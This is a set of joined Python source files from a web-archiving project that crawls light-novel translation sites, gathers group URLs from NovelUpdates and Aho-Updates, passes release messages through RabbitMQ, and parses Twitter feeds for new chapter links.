		tag.append(t)
		tag.append("\n")
		return tag



	def build_proper_page(self, dummy_url, fid, sid):
		soup = bs4.BeautifulSoup("", "lxml")

		release_info  = self.wg.getJson("http://api.royalroadl.com/fiction_chapters.php?fid={fid}&tid={sid}".format(fid=fid, sid=sid))
		adjacent_info = self.wg.getJson("http://api.royalroadl.com/fiction_chapters.php?action=getNavChapter&tid={sid}".format(fid=fid, sid=sid))

		postlist = soup.new_tag("div")

		post     = self.build_item_page(fid, release_info)
		postlist.append(post)

		soup.append(postlist)

		ret = soup.prettify()
		# print(ret)
		return ret

	def preprocessContent(self, url, mimetype, contentstr):
		if not isinstance(contentstr, str):
			return contentstr

		release = re.match(r'^https?://w?w?w?\.?royalroadl.com/fiction/([\d]+)[\d\-a-z]*?/chapter/([\d]+)[\d\-a-z]*?$', url)
		if not release:
			raise ValueError("Wat?")
		print(release.groups())

		self.log.info("Preprocessing content from URL: '%s'", url)
		contentstr = self.build_proper_page(url, release.groups()[0], release.groups()[1])

		return contentstr


	@staticmethod
	def wantsUrl(url):
		release = re.match(r'^https?://w?w?w?\.?royalroadl.com/fiction/[\d\-a-z]+/chapter/[\d\-a-z]+$', url)
		return bool(release)








import WebMirror.util.webFunctions as webFunctions
import WebMirror.LogBase as LogBase
import WebMirror.rules
import urllib.parse
import urllib.error

class SiteSyncFetch(LogBase.LoggerMixin):


	def __init__(self):
		super().__init__()
		self.wg = webFunctions.WebGetRobust()
		self.log.info("Startup!")


	@classmethod
	def getGroupSites(cls):
		instance = cls()
		return instance.go()

class NovelUpdatesFetch(SiteSyncFetch):
	loggerPath = "Main.NovelUpdatesFetcher"

	def getGroupSubpages(self):
		ret = []

		for x in range(500000):
			url = 'http://www.novelupdates.com/groupslist/?pg={num}'.format(num=x)

			soup = self.wg.getSoup(url)
			main = soup.find("div", class_='g-cols')

			new = []
			for item in main.find_all("li"):
				if item.a:
					new.append(item.a['href'])
			if new:
				ret += new
			else:
				break

		self.log.info("Found %s group subpage URLs", len(ret))

		return ret

	def urlFromGroupPage(self, url):
		try:
			soup = self.wg.getSoup(url)
		except urllib.error.URLError:
			return None
		content = soup.find('div', class_='w-blog-content')
		if not content:
			raise ValueError("Wat?")
		rows = content.find_all('tr')
		for row in rows:
			tds = row.find_all("td")
			if len(tds) == 2:
				name, val = tds
				if name.get_text() == "URL":
					if val.a:
						return val.a['href']
					else:
						return None
		else:
			raise ValueError("Watt?")

	def go(self):
		# self.urlFromGroupPage('http://www.novelupdates.com/group/anon-empire/')

		ret = []
		sp = self.getGroupSubpages()
		for p in sp:
			pg = self.urlFromGroupPage(p)
			if pg:
				ret.append(pg)
			self.log.info("Content page: %s", pg)
		# 	pass
		# 	# print(p)
		return ret


class AhoUpdatesFetch(SiteSyncFetch):

	loggerPath = "Main.AhoUpdatesFetcher"



	def getGroupSubpages(self):
		ret = []

		for x in range(500000):
			url = 'http://aho-updates.com/groups?sort_by=title&sort_order=ASC&page={num}'.format(num=x)

			try:
				soup = self.wg.getSoup(url)
			except urllib.error.URLError:
				break

			main = soup.find_all("div", class_='views-row')

			new = 0
			for item in [tmp for tmp in main if tmp.a]:
				url = item.a['href']
				if url.startswith("/group/"):
					url = urllib.parse.urljoin('http://aho-updates.com/', url)
					if url not in ret:
						ret.append(url)
						new += 1

			if new == 0:
				break

		self.log.info("Found %s group subpage URLs", len(ret))

		return ret

	def urlFromGroupPage(self, url):
		soup = self.wg.getSoup(url)
		content = soup.find('div', class_='field-name-field-lnu-grp-website')
		if not content:
			content = soup.find('span', class_='views-field-field-lnu-feed-main-url')
			if not content:
				raise ValueError("Wat?")
		if not content.a:
			raise ValueError("Wattt?")
		return content.a['href']

	def go(self):
		# print(self.urlFromGroupPage('http://aho-updates.com/group/dark-translations'))

		ret = []
		sp = self.getGroupSubpages()
		for p in sp:
			pg = self.urlFromGroupPage(p)
			if pg:
				ret.append(pg)
			self.log.info("Content page: %s", pg)
		return ret


def getExistingUrls():
	rules = WebMirror.rules.load_rules()

	netlocs = [item['starturls'] for item in rules if item['starturls']]
	netlocs = [list(set([urllib.parse.urlsplit(item).netloc for item in tmp])) for tmp in netlocs]

	[item.sort() for item in netlocs]

	ret = []
	for items in netlocs:
		ret += items
	print("Have %s existing urls!" % len(ret))
	return ret


# These are sites on (mostly) NovelUpdates that aren't actually
# valid sources. I think anyone can add anything, and there's some
# stupid shit.
bad_urls = [
	'cfensi.wordpress.com',                       # Chinese soap opera blog. Really?
	'chenguangsorchard.blogspot.com.au',          # More soap opera crap
	'koalasplayground.com',                       # Arrrrgh


	'creiz.livejournal.com',                      # Russian translations of a manga series.

	'www.fictionpress.com',                       # General fiction hosting site.
	'www.spcnet.tv',                              # General forum. Not a parseable single source.
	                                              # (I should really walk it at some point).
	'forum.wuxiaworld.com',                       # General forum. Not a parseable single source.
	'www.reddit.com',                             # Really?


	'messier-45.tumblr.com',                      # Translations of interviews with people
	'janeypeixes.tumblr.com',                     # Not the translations anymore.
	'agirlinjapan.tumblr.com',                    # Random garbage
	'lemoninagin.tumblr.com',                     # Moved

	'w-sensei.tumblr.com',                        # NFI
	'www.studentnotes.ca',                        # NFI
	'raspomme.tumblr.com',                        # NFI
	'fierydragonbreath.tumblr.com',               # NFI
	'cacatuasulphureacitrinocristata.tumblr.com', # Garbage naruto blog. Really?
	'trashbunny.tumblr.com',                      # Garbage

	'www.bhauth.com',                             # Some dude's random site. Literally nothing to do with LNs.
	'www.aresnovels.com',                         # Site is down.
	'tachibanachinatsu.wix.com',                  # Site is down.
	'blcxtranslations.github.io',                 # Site is down. Also github?
	'avertranslation.com',                        # Site is down.
	'minashiro.co.vu',                            # Removed, apparentlyaltoroctranslations.wordpress.com

	'daily-dallying.com',                         # Incorrect URL


	'hotchocolatescans.com',                      # Manga
	'www.ostnt.com',                              # Manga
	'www.world-three.org',                        # Manga
	'egscans.com',                                # Manga
	'riceballicious.info',                        # Manga
	'september.strawberrywine.org',               # BL Manga
	'mazuisubs.com',                              # Anime?
]


def fetch_other_sites():
	v1 = NovelUpdatesFetch.getGroupSites()
	v2 = AhoUpdatesFetch.getGroupSites()

	vals = v1+v2

	have = getExistingUrls()

	vals = set(vals)

	missed = []
	for val in vals:
		vloc = urllib.parse.urlsplit(val).netloc.lower()
		if vloc in bad_urls:
			continue

		if not vloc in have:
			print("New: ", vloc)
			missed.append(vloc)
	with open("missed-urls.txt", "w") as fp:
		for miss in missed:
			fp.write("%s\n" % miss)













#!/usr/bin/env python3
import msgpack
import multiprocessing
import datetime
import LocalAmqpConnector
import logging
import os.path
import ssl


class RabbitQueueHandler(object):
	die = False

	def __init__(self, settings):

		self.logPath = 'Main.Feeds.RPC'

		self.log = logging.getLogger(self.logPath)
		self.log.info("RPC Management class instantiated.")


		# Require clientID in settings
		assert "RABBIT_LOGIN"       in settings
		assert "RABBIT_PASWD"       in settings
		assert "RABBIT_SRVER"       in settings
		assert "RABBIT_VHOST"       in settings

		assert "taskq_task"         in settings
		assert "taskq_response"     in settings

		sslopts = self.getSslOpts()
		self.vhost = settings["RABBIT_VHOST"]
		self.connector = LocalAmqpConnector.Connector(userid            = settings["RABBIT_LOGIN"],
												password           = settings["RABBIT_PASWD"],
												host               = settings["RABBIT_SRVER"],
												virtual_host       = settings["RABBIT_VHOST"],
												ssl                = sslopts,
												master             = settings.get('master', True),
												synchronous        = settings.get('synchronous', False),
												flush_queues       = False,
												prefetch           = settings.get('prefetch', 25),
												durable            = True,
												heartbeat          = 60,
												task_exchange_type = settings.get('queue_mode', 'fanout'),
												poll_rate          = settings.get('poll_rate', 1.0/100),
												task_queue         = settings["taskq_task"],
												response_queue     = settings["taskq_response"],
												)

		self.chunks = {}

		self.log.info("Connected AMQP Interface: %s", self.connector)
		self.log.info("Connection parameters: %s, %s, %s, %s", settings["RABBIT_LOGIN"], settings["RABBIT_PASWD"], settings["RABBIT_SRVER"], settings["RABBIT_VHOST"])

	def getSslOpts(self):
		'''
		Verify the SSL cert exists in the proper place.
		'''
		certpath = './rabbit_pub_cert/'

		caCert = os.path.abspath(os.path.join(certpath, './cacert.pem'))
		cert = os.path.abspath(os.path.join(certpath, './cert1.pem'))
		keyf = os.path.abspath(os.path.join(certpath, './key1.pem'))

		assert os.path.exists(caCert), "No certificates found on path '%s'" % caCert
		assert os.path.exists(cert), "No certificates found on path '%s'" % cert
		assert os.path.exists(keyf), "No certificates found on path '%s'" % keyf

		ret = {"cert_reqs" : ssl.CERT_REQUIRED,
				"ca_certs" : caCert,
				"keyfile"  : keyf,
				"certfile"  : cert,
			}
		print("Certificate config: ", ret)

		return ret

	def put_item(self, data):
		# self.log.info("Putting data: %s", data)
		self.connector.putMessage(data, synchronous=1000)
		# self.log.info("Outgoing data size: %s bytes.", len(data))


	def get_item(self):
		ret = self.connector.getMessage()
		if ret:
			self.log.info("Received data size: %s bytes.", len(ret))
		return ret

	def process_chunk(self, chunk_message):
		assert 'chunk-type'   in chunk_message
		assert 'chunk-num'    in chunk_message
		assert 'total-chunks' in chunk_message
		assert 'data'         in chunk_message
		assert 'merge-key'    in chunk_message

		merge_key     = chunk_message['merge-key']
		total_chunks  = chunk_message['total-chunks']
		chunk_num     = chunk_message['chunk-num']
		data          = chunk_message['data']
		merge_key     = chunk_message['merge-key']

		if not merge_key in self.chunks:
			self.chunks[merge_key] = {
				'first-seen'  : datetime.datetime.now(),
				'chunk-count' : total_chunks,
				'chunks'      : {}
			}

		# Check our chunk count is sane.
		assert self.chunks[merge_key]['chunk-count'] == total_chunks
		self.chunks[merge_key]['chunks'][chunk_num] = data


		# TODO: clean out partial messages based on their age (see 'first-seen')

		if len(self.chunks[merge_key]['chunks']) == total_chunks:
			components = list(self.chunks[merge_key]['chunks'].items())
			components.sort()
			packed_message = b''.join([part[1] for part in components])
			ret = msgpack.unpackb(packed_message, encoding='utf-8', use_list=False)

			del self.chunks[merge_key]

			self.log.info("Received all chunks for key %s! Decoded size: %0.3fk from %s chunks. Active partial chunked messages: %s.",
				merge_key, len(packed_message) / 1024, len(components), len(self.chunks))

			return ret

		else:
			return None

	def unchunk(self, new_message):
		new = msgpack.unpackb(new_message, encoding='utf-8', use_list=False)

		# If we don't have a chunking type, it's probably an old-style message.
		if not 'chunk-type' in new:
			return new

		# Messages smaller then the chunk_size are not split, and can just be returned.
		if new['chunk-type'] == "complete-message":
			assert 'chunk-type' in new
			assert 'data'       in new
			return new['data']
		elif new['chunk-type'] == "chunked-message":
			return self.process_chunk(new)
		else:
			raise RuntimeError("Unknown message type: %s", new['chunk-type'])

	def get_job(self):
		while True:
			new = self.get_item()
			if new:
				self.log.info("Processing AMQP response item!")
				try:
					tmp = self.unchunk(new)

					# If unchunk returned something, return that.
					# if it didn't return anything, it means that new
					# was a message chunk, but we don't have the
					# whole thing yet, so continue.
					if tmp:
						return tmp
				except Exception:
					self.log.error("Failure unpacking message!")
					msgstr = str(new)
					if len(new) < 5000:
						self.log.error("Message content: %s", msgstr)
					else:
						self.log.error("Message length: '%s'", len(msgstr))
			else:
				return None

	def put_job(self, new_job):
		assert 'module'       in new_job
		assert 'call'         in new_job
		assert 'dispatch_key' in new_job
		assert 'jobid'        in new_job
		assert new_job['jobid'] != None

		# Make sure we have a returned data list for the added job.

		packed_job = msgpack.packb(new_job, use_bin_type=True)
		self.put_item(packed_job)

	def __del__(self):
		self.close()

	def close(self):
		if hasattr(self, "connector") and self.connector:
			print("Closing connector wrapper: ", self.logPath, self.vhost)
			self.connector.stop()
			self.connector = None


def test(amqp_settings, is_master):
	amqp_settings['master'] = is_master
	amqpint = RabbitQueueHandler(amqp_settings)
	print(amqpint)
	delay = 10
	for x in range(delay):
		time.sleep(1)
		msg = 'wat %s' % x
		amqpint.put_item(msg.encode("ascii"))
		print("Slept %s of %s" % (x, delay))
	amqpint.close()


if __name__ == '__main__':
	import logSetup
	logSetup.initLogging()

	import config
	import time


	amqp_settings = {
		"RABBIT_LOGIN" : config.C_RABBIT_LOGIN,
		"RABBIT_PASWD" : config.C_RABBIT_PASWD,
		"RABBIT_SRVER" : config.C_RABBIT_SRVER,
		"RABBIT_VHOST" : config.C_RABBIT_VHOST,
		"taskq_task"     : 'tasks.test.q',
		"taskq_response" : 'resps.test.q',
	}

	while 1:
		test(amqp_settings, is_master=True)
		test(amqp_settings, is_master=False)








import WebMirror.OutputFilters.AmqpInterface
import config
import traceback
import sqlalchemy.exc
import urllib.parse
import datetime
import time
import WebMirror.database as db
from WebMirror.processor.ProcessorBase import PageProcessor

class FilterBase(PageProcessor):

	# Filters don't return anything, so turn off that checking.
	_no_ret = True
	_needs_amqp = True

	def __init__(self, **kwargs):
		super().__init__()
		if self._needs_amqp and kwargs.get('connect', True):
			if "message_q" in kwargs and kwargs['message_q']:
				# print("Filter has a queue, not connecting directly.")
				self.msg_q = kwargs['message_q']
			else:
				# print()
				if config.C_DO_RABBIT:
					print("No message queue! Doing independent RabbitMQ connection!")
					# traceback.print_stack()
					# print("Wat?")
					# print()
					self.msg_q = False
					amqp_settings = {
						"RABBIT_LOGIN" : config.C_RABBIT_LOGIN,
						"RABBIT_PASWD" : config.C_RABBIT_PASWD,
						"RABBIT_SRVER" : config.C_RABBIT_SRVER,
						"RABBIT_VHOST" : config.C_RABBIT_VHOST,
						'taskq_task'     : 'task.master.q',
						'taskq_response' : 'response.master.q',
					}

					self._amqpint = WebMirror.OutputFilters.AmqpInterface.RabbitQueueHandler(amqp_settings)

		self._no_ret = True

		self.kwargs = kwargs
		self.db_sess = kwargs['db_sess']
		# 'pageUrl'         : url,
		# 'pgContent'       : content,
		# 'mimeType'        : mimeType,
		# 'db_sess'         : self.db_sess,
		# 'baseUrls'        : self.start_url,
		# 'loggerPath'      : self.loggerPath,
		# 'badwords'        : self.rules['badwords'],
		# 'decompose'       : self.rules['decompose'],
		# 'decomposeBefore' : self.rules['decomposeBefore'],
		# 'fileDomains'     : self.rules['fileDomains'],
		# 'allImages'       : self.rules['allImages'],
		# 'ignoreBadLinks'  : self.rules['IGNORE_MALFORMED_URLS'],
		# 'stripTitle'      : self.rules['stripTitle'],
		# 'relinkable'      : self.relinkable,
		# 'destyle'         : self.rules['destyle'],
		# 'preserveAttrs'   : self.rules['preserveAttrs'],
		# 'type'            : self.rules['type'],
		# 'message_q'       : self.response_queue,
		# 'job'             : self.job,

	def put_page_link(self, link):
		if 'message_q' in self.kwargs and self.kwargs['message_q'] != None and False:
			start = urllib.parse.urlsplit(link).netloc

			assert link.startswith("http")
			assert start
			new = {
				'url'       : link,
				'starturl'  : self.kwargs['job'].starturl,
				'netloc'    : start,
				'distance'  : self.kwargs['job'].distance+1,
				'is_text'   : True,
				'priority'  : self.kwargs['job'].priority,
				'type'      : self.kwargs['job'].type,
				'state'     : "new",
				'fetchtime' : datetime.datetime.now(),
				}
			self.kwargs['message_q'].put(("new_link", new))


	def amqp_put_item(self, item):
		if not self._needs_amqp:
			raise ValueError("Plugin declared to not require AMQP connectivity, and yet AMQP call used?")

		if config.C_DO_RABBIT:
			self.log.info("Putting item in to AMQP queue!")
			if self.msg_q:
				items_in_queue = self.msg_q.qsize()
				if items_in_queue > 100:
					self.log.warning("AMQP Message queue too large? Items in queue: %s", items_in_queue)

				self.msg_q.put(("amqp_msg", item))

			else:
				self._amqpint.put_item(item)
		else:
			self.log.info("NOT Putting item in to AMQP queue!")


	def retrigger_page(self, release_url):

		trigger_priority = db.DB_HIGH_PRIORITY

		if self.db_sess is None:
			return
		while 1:
			try:
				have = self.db_sess.query(db.WebPages) \
					.filter(db.WebPages.url == release_url)   \
					.scalar()

				# If we don't have the page, ignore
				# it as the normal new-link upsert mechanism
				# will add it.
				if not have:
					self.log.info("New: '%s'", release_url)
					break

				# Also, don't reset if it's in-progress
				if (
						have.state in ['new', 'fetching', 'processing', 'removed']
						and have.priority <= trigger_priority
						and have.distance > 1
						and have.ignoreuntiltime > datetime.datetime.now() - datetime.timedelta(hours=1)
					):
					self.log.info("Skipping: '%s' (%s, %s)", release_url, have.state, have.priority)
					break

				self.log.info("Retriggering page '%s' (%s, %s)", release_url, have.state, have.priority)
				have.state           = 'new'
				have.ignoreuntiltime = datetime.datetime.now() - datetime.timedelta(days=1)
				have.distance        = 1
				have.priority        = trigger_priority
				self.db_sess.commit()
				break


			except sqlalchemy.exc.InvalidRequestError:
				print("InvalidRequest error!")
				self.db_sess.rollback()
				traceback.print_exc()
			except sqlalchemy.exc.OperationalError:
				print("InvalidRequest error!")
				self.db_sess.rollback()
			except sqlalchemy.exc.IntegrityError:
				print("[upsertRssItems] -> Integrity error!")
				traceback.print_exc()
				self.db_sess.rollback()















import WebMirror.LogBase as LogBase
import WebMirror.OutputFilters.AmqpInterface
import config


class FilterManager(LogBase.LoggerMixin):


	loggerPath = "Main.SiteArchiver"

	def __init__(self):
		if config.C_DO_RABBIT:
			amqp_settings = {
				"RABBIT_LOGIN" : config.C_RABBIT_LOGIN,
				"RABBIT_PASWD" : config.C_RABBIT_PASWD,
				"RABBIT_SRVER" : config.C_RABBIT_SRVER,
				"RABBIT_VHOST" : config.C_RABBIT_VHOST,
			}

			self.amqp_conn = WebMirror.OutputFilters.AmqpInterface.RabbitQueueHandler(amqp_settings)



	def processPage(self, url, title, content, mimetype):
		# Stuff will probably go here.
		pass









import runStatus
runStatus.preloadDicts = False

import WebMirror.OutputFilters.FilterBase

import WebMirror.OutputFilters.util.MessageConstructors  as msgpackers
from WebMirror.OutputFilters.util.TitleParsers import extractTitle

import bs4
import re
import calendar
import unshortenit
import WebMirror.util.webFunctions
import time
import urllib.parse
import json
import traceback

MIN_RATING = 2.5

########################################################################################################################
#
#	##     ##    ###    #### ##    ##     ######  ##          ###     ######   ######
#	###   ###   ## ##    ##  ###   ##    ##    ## ##         ## ##   ##    ## ##    ##
#	#### ####  ##   ##   ##  ####  ##    ##       ##        ##   ##  ##       ##
#	## ### ## ##     ##  ##  ## ## ##    ##       ##       ##     ##  ######   ######
#	##     ## #########  ##  ##  ####    ##       ##       #########       ##       ##
#	##     ## ##     ##  ##  ##   ###    ##    ## ##       ##     ## ##    ## ##    ##
#	##     ## ##     ## #### ##    ##     ######  ######## ##     ##  ######   ######
#
########################################################################################################################

# Because fuck having a proper RSS feed and shit.
NANO_DESU_MAP = {
	'aldnoahextrathetranslation.wordpress.com'      : 'Aldnoah.Zero Extra',
	'www.aldnoahextrathetranslation.wordpress.com'  : 'Aldnoah.Zero Extra',
	'amaburithetranslation.wordpress.com'           : 'Amagi Brilliant Park',
	'www.amaburithetranslation.wordpress.com'       : 'Amagi Brilliant Park',
	'bibliathetranslation.wordpress.com'            : 'Biblia Koshodou no Jiken (Antiquarian Bookshop Biblia’s Case Files)',
	'www.bibliathetranslation.wordpress.com'        : 'Biblia Koshodou no Jiken (Antiquarian Bookshop Biblia’s Case Files)',
	'majonakathetranslation.wordpress.com'          : 'Bokura wa Mahou Shoujo no Naka',
	'www.majonakathetranslation.wordpress.com'      : 'Bokura wa Mahou Shoujo no Naka',
	'fateapocryphathetranslation.wordpress.com'     : 'Fate/Apocrypha',
	'www.fateapocryphathetranslation.wordpress.com' : 'Fate/Apocrypha',
	'firegirlthetranslation.wordpress.com'          : 'Fire Girl',
	'www.firegirlthetranslation.wordpress.com'      : 'Fire Girl',
	'fuyuugakuenthetranslation.wordpress.com'       : 'Fuyuu Gakuen no Alice and Shirley',
	'www.fuyuugakuenthetranslation.wordpress.com'   : 'Fuyuu Gakuen no Alice and Shirley',
	'gekkahimethetranslation.wordpress.com'         : 'Gekka no Utahime to Magi no Ou',
	'www.gekkahimethetranslation.wordpress.com'     : 'Gekka no Utahime to Magi no Ou',
	'gjbuthetranslation.wordpress.com'              : 'GJ-Bu',
	'www.gjbuthetranslation.wordpress.com'          : 'GJ-Bu',
	'www.yamanekothetranslation.wordpress.com'      : 'Goshujin-sama wa Yamaneko-Hime',
	'yamanekothetranslation.wordpress.com'          : 'Goshujin-sama wa Yamaneko-Hime',
	'grimgarthetranslation.wordpress.com'           : 'Hai to Gensou no Grimgar',
	'www.grimgarthetranslation.wordpress.com'       : 'Hai to Gensou no Grimgar',
	'hennekothetranslation.wordpress.com'           : 'Hentai Ouji to Warawanai Neko',
	'www.hennekothetranslation.wordpress.com'       : 'Hentai Ouji to Warawanai Neko',
	'chaikathetranslation.wordpress.com'            : 'Hitsugi no Chaika',
	'www.chaikathetranslation.wordpress.com'        : 'Hitsugi no Chaika',
	'irisorathetranslation.wordpress.com'           : 'Iriya no Sora, UFO no Natsu',
	'www.irisorathetranslation.wordpress.com'       : 'Iriya no Sora, UFO no Natsu',
	'kikoushoujothetranslation.wordpress.com'       : 'Kikou Shoujo wa Kizutsukanai',
	'www.kikoushoujothetranslation.wordpress.com'   : 'Kikou Shoujo wa Kizutsukanai',
	'sekaigamethetranslation.wordpress.com'         : 'Kono Sekai ga Game da to, Ore dake ga Shitteiru',
	'www.sekaigamethetranslation.wordpress.com'     : 'Kono Sekai ga Game da to, Ore dake ga Shitteiru',
	'korezombiethetranslation.wordpress.com'        : 'Kore wa Zombie Desu ka?',
	'www.korezombiethetranslation.wordpress.com'    : 'Kore wa Zombie Desu ka?',
	'kurenaithetranslation.wordpress.com'           : 'Kure-nai',
	'www.kurenaithetranslation.wordpress.com'       : 'Kure-nai',
	'kyousenthetranslation.wordpress.com'           : 'Kyoukai Senjou no Horizon',
	'www.kyousenthetranslation.wordpress.com'       : 'Kyoukai Senjou no Horizon',
	'loveyouthetranslation.wordpress.com'           : 'Love☆You',
	'www.loveyouthetranslation.wordpress.com'       : 'Love☆You',
	'maoyuuthetranslation.wordpress.com'            : 'Maoyuu Maou Yuusha',
	'www.maoyuuthetranslation.wordpress.com'        : 'Maoyuu Maou Yuusha',
	'mayochikithetranslation.wordpress.com'         : 'Mayo Chiki!',
	'www.mayochikithetranslation.wordpress.com'     : 'Mayo Chiki!',
	'magicalgfthetranslation.wordpress.com'         : 'My Girlfriend is a Mahou Shoujo (CN WN)',
	'www.magicalgfthetranslation.wordpress.com'     : 'My Girlfriend is a Mahou Shoujo (CN WN)',
	'ngnlthetranslation.wordpress.com'              : 'No Game, No Life',
	'www.ngnlthetranslation.wordpress.com'          : 'No Game, No Life',
	'ojamajothetranslation.wordpress.com'           : 'Ojamajo Doremi 16',
	'www.ojamajothetranslation.wordpress.com'       : 'Ojamajo Doremi 16',
	'oreimothetranslation.wordpress.com'            : 'Ore no Imouto ga Konna ni Kawaii wake ga Nai',
	'www.oreimothetranslation.wordpress.com'        : 'Ore no Imouto ga Konna ni Kawaii wake ga Nai',
	'qualideascumthetranslation.wordpress.com'      : 'Qualidea of Scum and a Gold Coin',
	'www.qualideascumthetranslation.wordpress.com'  : 'Qualidea of Scum and a Gold Coin',
	'rezerothetranslation.wordpress.com'            : 'Re:Zero Kara Hajimeru Isekai Seikatsu',
	'www.rezerothetranslation.wordpress.com'        : 'Re:Zero Kara Hajimeru Isekai Seikatsu',
	'rokkathetranslation.wordpress.com'             : 'Rokka no Yuusha',
	'www.rokkathetranslation.wordpress.com'         : 'Rokka no Yuusha',
	'saekanothetranslation.wordpress.com'           : 'Saenai Kanojo no Sodatekata',
	'www.saekanothetranslation.wordpress.com'       : 'Saenai Kanojo no Sodatekata',
	'sakurasouthetranslation.wordpress.com'         : 'Sakurasou no Pet na Kanojo',
	'www.sakurasouthetranslation.wordpress.com'     : 'Sakurasou no Pet na Kanojo',
	'sasamisanthetranslation.wordpress.com'         : 'Sasami-san@Ganbaranai',
	'www.sasamisanthetranslation.wordpress.com'     : 'Sasami-san@Ganbaranai',
	'seizonthetranslation.wordpress.com'            : 'Seitokai no Ichizon',
	'www.seizonthetranslation.wordpress.com'        : 'Seitokai no Ichizon',
	'skyworldthetranslation.wordpress.com'          : 'Sky World',
	'www.skyworldthetranslation.wordpress.com'      : 'Sky World',
	'sugardarkthetranslation.wordpress.com'         : 'Sugar Dark',
	'www.sugardarkthetranslation.wordpress.com'     : 'Sugar Dark',
	'vermillionthetranslation.wordpress.com'        : 'Vermillion',
	'www.vermillionthetranslation.wordpress.com'    : 'Vermillion',
	'oregairuthetranslation.wordpress.com'          : 'Yahari Ore no Seishun Love Come wa Machigatteiru',
	'www.oregairuthetranslation.wordpress.com'      : 'Yahari Ore no Seishun Love Come wa Machigatteiru',
	'www.zeromahouthetranslation.wordpress.com'     : 'Zero Kara Hajimeru Mahou no Sho',
	'zeromahouthetranslation.wordpress.com'         : 'Zero Kara Hajimeru Mahou no Sho',
	'bunimithetranslation.wordpress.com'            : 'Bu ni Mi wo Sasagete Hyaku to Yonen. Elf de Yarinaosu Musha Shugyou',
	'www.bunimithetranslation.wordpress.com'        : 'Bu ni Mi wo Sasagete Hyaku to Yonen. Elf de Yarinaosu Musha Shugyou',
}

class TwitterProcessor(WebMirror.OutputFilters.FilterBase.FilterBase):


	wanted_mimetypes = [

							'text/html',
						]
	want_priority    = 50

	loggerPath = "Main.Filter.Twitter"


	@staticmethod
	def wantsUrl(url):
		if url == "https://twitter.com/Baka_Tsuki":
			print("TwitterProcessor want Baka-Tsuki URL")
			return True
		if url == "https://twitter.com/Nano_Desu_Yo":
			print("TwitterProcessor want NanoDesu URL")
			return True
		return False

	def __init__(self, **kwargs):

		self.kwargs     = kwargs


		self.pageUrl    = kwargs['pageUrl']

		self.content    = kwargs['pgContent']
		self.type       = kwargs['type']

		self.log.info("Processing Japtem Item")

		if "dosuper" in kwargs:
			dosuper = kwargs['dosuper']
		else:
			dosuper = True

		if dosuper:
			super().__init__(**kwargs)


		self.log.info("TwitterFilter interface processing content.")


##################################################################################################################################
##################################################################################################################################
##################################################################################################################################

	def sendReleases(self, releases):
		self.log.info("Total releases found on page: %s", len(releases))
		for pkt in releases:
			self.amqp_put_item(pkt)

	def dispatchBT(self, itemurl, itemtxt):
		titleonly = itemtxt.split("by")[0].split("bY")[0].split("By")[0].split("BY")[0]
		probSeries = titleonly.lower().split("volume")[0].split("chapter")[0].strip()

		vol, chp, frag, post = extractTitle(titleonly)

		raw_item = {}
		raw_item['srcname']   = "Baka-Tsuki"
		raw_item['published'] = time.time()
		raw_item['linkUrl']   = itemurl

		self.put_page_link(itemurl)

		msg = msgpackers.buildReleaseMessage(raw_item, probSeries, vol, chp, frag, postfix=post)
		msg = msgpackers.createReleasePacket(msg)

	def dispatchNanoDesu(self, netloc, itemurl, itemtxt):
		itemtitle = NANO_DESU_MAP[netloc]
		vol, chp, frag, post = extractTitle(itemtxt)
		if not (vol or chp):
			return None

		raw_item = {}
		raw_item['srcname']   = "Nano Desu"
		raw_item['published'] = time.time()
		raw_item['linkUrl']   = itemurl

		self.put_page_link(itemurl)

		msg = msgpackers.buildReleaseMessage(raw_item, itemtitle, vol, chp, frag, postfix=post)
		msg = msgpackers.createReleasePacket(msg)
		return msg

	def processPage(self, content):
		soup = WebMirror.util.webFunctions.as_soup(self.content)

		releases = []
		for tweet in soup.find_all('li', attrs={"data-item-type":"tweet"}):
			if "promoted" in str(tweet['class']):
				continue
			content = tweet.find("p", class_='tweet-text')
			if content and content.a:
				itemtxt = content.get_text()

				itemurl = content.a['data-expanded-url']
				itemurl, status = unshortenit.unshorten(itemurl)
				if status != 200:
					continue

				urlnl = urllib.parse.urlsplit(itemurl).netloc.lower()
				if urlnl == 'www.baka-tsuki.org':
					msg = self.dispatchBT(itemurl, itemtxt)
					if msg:
						releases.append(msg)
				if urlnl in NANO_DESU_MAP:
					msg = self.dispatchNanoDesu(urlnl, itemurl, itemtxt)
					if msg:
						releases.append(msg)

		self.log.info("Found %s releases from Twitter Feed", len(releases))
		if releases:
			self.sendReleases(releases)



##################################################################################################################################
##################################################################################################################################
##################################################################################################################################



	def extractContent(self):
		# print("Call to extract!")
		# print(self.amqpint)

		self.processPage(self.content)


def testJobFromUrl(url):
	import datetime
	import WebMirror.database
	return WebMirror.database.WebPages(
				state     = 'fetching',
				url       = url,
				starturl  = url,
				netloc    = "wat",
				distance  = WebMirror.database.MAX_DISTANCE-2,
				is_text   = True,
				priority  = WebMirror.database.DB_REALTIME_PRIORITY,
				type      = "unknown",
				fetchtime = datetime.datetime.now(),
				)



def test():
	print("Test mode!")
	import logSetup
	import WebMirror.rules
	import WebMirror.Engine
	import multiprocessing
	logSetup.initLogging()

	c_lok = cookie_lock = multiprocessing.Lock()
	engine = WebMirror.Engine.SiteArchiver(cookie_lock=c_lok)
	engine.dispatchRequest(testJobFromUrl('https://twitter.com/Baka_Tsuki'))


	# import WebMirror.util.webFunctions as webfunc

	# wg = webfunc.WebGetRobust()
	# proc = JapTemSeriesPageProcessor(pageUrl="urlllllll", pgContent="watttt", type='lolertype', dosuper=False)

	# urls = [
	# 	'http://japtem.com/fanfic.php',
	# 	]
	# for url in urls:
	# 	ctnt = wg.getpage(url)
	# 	proc.content = ctnt
	# 	proc.processPage(ctnt)

if __name__ == "__main__":
	test()
















import runStatus
runStatus.preloadDicts = False

import WebMirror.OutputFilters.FilterBase

import WebMirror.OutputFilters.util.MessageConstructors  as msgpackers
from WebMirror.OutputFilters.util.TitleParsers import extractTitle

import bs4
import re
import calendar
import datetime
import WebMirror.util.webFunctions
import time
import urllib.parse
import json
import traceback

MIN_RATING = 2.5

########################################################################################################################
#
#	##     ##    ###    #### ##    ##     ######  ##          ###     ######   ######
#	###   ###   ## ##    ##  ###   ##    ##    ## ##         ## ##   ##    ## ##    ##
#	#### ####  ##   ##   ##  ####  ##    ##       ##        ##   ##  ##       ##
#	## ### ## ##     ##  ##  ## ## ##    ##       ##       ##     ##  ######   ######
#	##     ## #########  ##  ##  ####    ##       ##       #########       ##       ##
#	##     ## ##     ##  ##  ##   ###    ##    ## ##       ##     ## ##    ## ##    ##
#	##     ## ##     ## #### ##    ##     ######  ######## ##     ##  ######   ######
#
########################################################################################################################




